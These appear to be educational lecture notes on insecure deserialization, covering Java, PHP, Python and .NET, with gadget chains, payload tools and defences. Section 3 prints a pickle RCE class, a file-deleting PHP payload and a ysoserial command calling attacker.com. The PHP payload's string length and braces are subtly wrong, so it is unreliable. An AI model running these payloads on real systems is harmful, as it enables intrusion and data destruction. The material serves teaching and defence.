

Lecture Contents:

- 1.Introduction to Serialization/Deserialization (with internal mechanics)
- 2.What is Insecure Deserialization? How does it work?
- 3.Real-World Examples and Exploitation Techniques
- 4.Common Gadget Chains in Java, PHP, Python
- 5.Tools for Discovery and Payload Generation
- 6.Defensive Coding & Mitigation Strategies
- 7.Red Team vs. Blue Team Perspectives
- 8.Summary + Advanced Review Questions

1. Introduction: Deep Dive into Serialization & Deserialization

► Serialization

Serialization is the process of transforming an object into a storable/transferable format (byte stream, string, binary). It's language-specific:

- Python: pickle, marshal, json
- Java: ObjectOutputStream
- PHP: serialize()

Purpose:

- Persist objects to disk (e.g., sessions)
- Transmit via network protocols (e.g., HTTP, RPC, SOAP)
- Pass data between components or microservices

► Deserialization

Reconstructing an object from serialized data. If deserialization is performed on untrusted input without verification, attackers can inject malicious payloads that execute arbitrary code.

2. What is Insecure Deserialization?

➤ OWASP Definition:

A vulnerability that arises when untrusted data is used to abuse the logic of deserialization, resulting in RCE, privilege escalation, data tampering, or DoS.

➤ Risk Factors:

- Deserialization of untrusted user input
- Presence of magic methods (e.g., `__wakeup`, `__destruct`, `__reduce__`)
- Use of known vulnerable gadget chains
- Application logic depending on deserialized values for authorization, access control

➤ **Impacts:**

- Remote Code Execution (RCE)
- Web shell installation
- Privilege escalation
- Authentication bypass
- JVM / PHP interpreter compromise

3. Real-World Examples (Multi-language)

► **PHP: Object Injection with `__destruct()`**

```
class Logger {  
    public $logfile;  
    function __destruct() {  
        unlink($this->logfile);  
    }  
}
```

Payload:

`O:6:"Logger":1:{s:7:"logfile";s:12:"/var/www/.htaccess";}}`

Impact: Deletion of server configuration file

► Python: Pickle Remote Code Execution

```
import os, pickle
class Exploit:
    def __reduce__(self):
        return (os.system, ("id > /tmp/pwned",))
```

```
payload = pickle.dumps(Exploit())
```

Impact: Arbitrary command execution upon deserialization.

▶ **Java: Apache CommonsCollections Gadget (using ysoserial)**

```
java -jar ysoserial.jar CommonsCollections1 'ping -c 1 attacker.com' > payload.ser
```

Impact: Outbound request / RCE via application deserialization logic

▶ **.NET BinaryFormatter**

```
BinaryFormatter formatter = new BinaryFormatter();  
Stream stream = new FileStream("payload.bin", FileMode.Open);  
formatter.Deserialize(stream);
```

If payload contains malicious object with OnDeserialized() callback → RCE

4. Common Gadget Chains

◇ PHP:

- Monolog
- Laravel (e.g., Illuminate\Broadcasting\PendingBroadcast)
- Symfony

◇ Java:

- CommonsCollections
- Spring Framework
- Groovy, Jython, JRuby, BeanShell

◇ Python:

- os.system or subprocess.Popen in __reduce__
- Abuse of built-in objects like eval, exec

Discovery & Exploitation Tools

Tool	Use Case
ysoserial	Generate gadget payloads in Java
phpggc	Generate PHP serialized gadgets
Burp Suite	Intercept & manipulate serialized inputs
Serializables	Analyze Java payloads and class chains
pickletools	Dissect Python Pickle payloads
dotnet-serlab	Deserialize .NET payloads

6. Defensive Techniques

✓ Secure Coding:

- Avoid deserializing user-controlled data
- Use safe formats like JSON + strict schema validation
- Never trust cookies/session data blindly
- Limit class loading (Java)
- Validate object types (whitelisting)

✓ Runtime Protections:

- Application firewalls (WAFs)
- Input filtering/sanitization
- Monitoring for system command execution/logging anomalies
- Use libraries that disable automatic object instantiation

7. Red vs. Blue Team Perspectives



Blue Team:

- Implement security headers and sandboxing
- Remove unneeded gadget classes
- Perform application-wide serialization audits
- Harden deserialization libraries with access restrictions



Red Team:

- Identify serialization entry points (params, cookies, headers)
- Inject known gadgets (automated via Burp extensions)
- Observe time delays, behavior changes, OOB interactions